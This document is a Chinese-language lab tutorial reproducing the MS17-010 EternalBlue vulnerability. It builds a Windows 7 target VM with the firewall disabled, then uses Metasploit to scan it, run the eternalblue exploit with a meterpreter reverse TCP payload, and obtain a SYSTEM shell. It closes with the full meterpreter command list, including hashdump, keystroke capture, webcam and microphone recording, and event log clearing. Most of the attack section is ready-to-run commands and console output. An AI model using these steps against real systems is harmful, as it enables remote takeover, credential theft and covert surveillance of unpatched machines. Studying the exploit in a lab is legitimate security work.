靶机环境的搭建
文件名 en_windows_7_enterprise_with_sp1_x64_dvd_u_677651.iso SHA1 A491F985DCCFB5863F31B728DDDBEDB2FF4DF8D1 文件大小 2.96GB 发布时间 2011-05-12ed2k://|file|en_windows_7_enterprise_with_sp1_x64_dvd_u_677651.iso|3182604288|E4D1A2A7BB46706F6545E713EA32A5F3|/
将ed2k链接复制到迅雷即可开始下载
漏洞介绍链接
https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
安装Windows7靶机
本文演示使用Vsphere进行安装Windows7其用法与VMware workation类似
选择典型
选择系统版本
填写虚拟机名称
选择磁盘大小
选择ISO镜像
完成创建即可。
选择开始安装
同意许可
选择custom自定义
选择next
安装完成后会自动重启
填写计算机名称ms17
填写密码123456
选择稍后询问
选择public network
至此安装完成，还需要关闭防火墙
在控制中心中找到安全
至此配置完成。
在攻击机中ping 靶机的IP地址可以ping通
漏洞复现
启动msf框架
sudo msfdb run
搜索ms17-010模块
msf6 > search ms17-010 Matching Modules ================# Name Disclosure Date Rank Check Description----------------------------------------0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
使用探测模块，查看当前系统是否存在ms17-010漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010
查看需要设置的选项
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options Module options (auxiliary/scanner/smb/smb_ms17_010): Name Current Setting Required Description -------------------------------------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1yes The number of concurrent threads (max one per host)
我们看到,只需要设置目标IP地址即可
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.106 rhosts => 192.168.0.106
运行run执行
msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 192.168.0.106:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.0.106:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
运行back返回退出模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > back
选择攻击模块,
msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
查看模块选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description -------------------------------------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-fram ework/wiki/Using-Metasploit RPORT 445yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only aff ects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH trueyes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t arget machines. VERIFY_TARGET trueyes Check if remote OS matches exploit Target. Only affects Windows S erver 2008 R2, Windows 7, Windows Embedded Standard 7 target mach ines. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description -------------------------------------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.114 yes The listen address (an interface may be specified) LPORT 4444yes The listen port Exploit target: Id Name ------0 Automatic Target
我们可以看到只需设置目标IP地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.106 rhosts => 192.168.0.106
执行后即可看到攻击成功.
输入shell即可进入windows命令提示符
whoami查看所获取的权限.
可以看到权限为system32权限.为系统内的最高权限.
ctrl+c退出shell
可以运行help查看
meterpreter > help Core Commands ============= Command Description ------------------ ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for"load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------------------cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias forls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------------------ arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------------------ clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------------------ enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------------------ record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------------------ play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------------------ getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------------------ hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------------------ timestomp Manipulate file MACE attributes
至此攻击完成.
